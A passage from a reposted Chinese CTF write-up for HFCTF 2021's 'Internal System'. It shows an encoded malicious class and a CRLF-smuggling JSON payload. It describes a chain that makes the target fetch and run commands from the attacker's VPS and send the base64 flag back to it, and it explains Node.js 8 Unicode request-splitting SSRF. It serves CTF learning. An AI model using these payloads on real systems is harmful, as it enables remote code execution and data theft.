7b$ee$b8lt$b8$x$Z$Ss$e9z$e4I$d1$a3$b6f$8b$cb$9f$q$5d$yU$ffx$w$84$e4$T$ee2$ec$W$ff$b9$c7$_$e9$ca$ef$bb$7c8$a4$N$f1$B$Ve$f0$uu$dfq9$K0$e8$b1$d5$d0$c0$d4$fd$u$$RvO$b9Fkf$ef$Z$ec$FZ24C$f8$f6$J$91$ea$fe$M$fa$94$5ca$c4$60$d3$3f$d1$60$91$_$H$9db$88T$9dt$93$w$R$q$88$97$sZ$8c$w6$b4O$K$cc$c0$92$K$f10$d5lr$7cw$cb$d2djN$83$P$F$d4$D$81$ccH$G$87K$7d$B$86w$A$dd$l$C$A$A%2525C4%2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2ownerEmail%2525C4%2525A2:%2525C4%[email protected]%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%2525C4%2525A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4%2525A2:%25255B%2525C4%2525A2sourceRequestId%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525A2outputKeys%2525C4%2525A2:%25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2:%2525C4%2525A2100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A2isolationgroupId%2525C4%2525A2:%2525C4%2525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private

发送payload3

base64一下就是flag

两次payload2,3的原理:

payload通过json内容触发远控,第一次恶意Evil.class中将vps上的1.txt(写了需要执行的命令)发送到靶机/tmp/hfctf上,然后通过第二次发payload执行(sh)已经在靶机上的1.txt中的命令,并且通过url传参数的方法(hfctf=cat /flag|base64),将base64后的命令执行回显带回vps开启的http(9998)端口

我中间出错的地方:

vps开放端口时目录和靶机所访问的目录不一致,所以我最后直接把web服务放在根目录下,Evil.class Evil.java也被我移到根目录下。尽量使用python3打开web服务,用自构建的py文件打开服务需要提前安装flask,并且需要对py命令中目录打开足够清晰(我不行)第二个CVE的请求走私配合

拆分攻击的SSRF

原理:unicode字符损坏
node.js默认使用latin1,这是单字节编码,不能表示高编号的unicode
当发出的路径中含有控制字符,HTTP库会将其URL编码
http://example.com/\r\n/test => /%0D%0A/test
当Node.js版本8或更低版本对此URL发出GET请求时,高编号的unicode不会进行转义,因为它们不是HTTP控制字符、
但是当字符串被编码(latin1)写入路径时,字符会被截断为/r和/n

\u{010D}\u{010A} //高编号unicode
čĊ //原字符
/r/n //latin1截断
//字符被截断为其JavaScript表示的最低字节

对于Node.js8或更低版本,如果有下列情况,任何发出传出HTTP请求的服务器都可能受到通过请求拆实现的SSRF的攻击:
• 接受来自用户输入的unicode数据
• 并将其包含爱HTTP请求的路径中
• 且请求具有一个0长度的主体(比如一个GET或者DELETE)

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:16:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Internal System wp2021hfctf - 间桐金https://cn-sec.com/archives/710950.html

发表评论

匿名网友 填写信息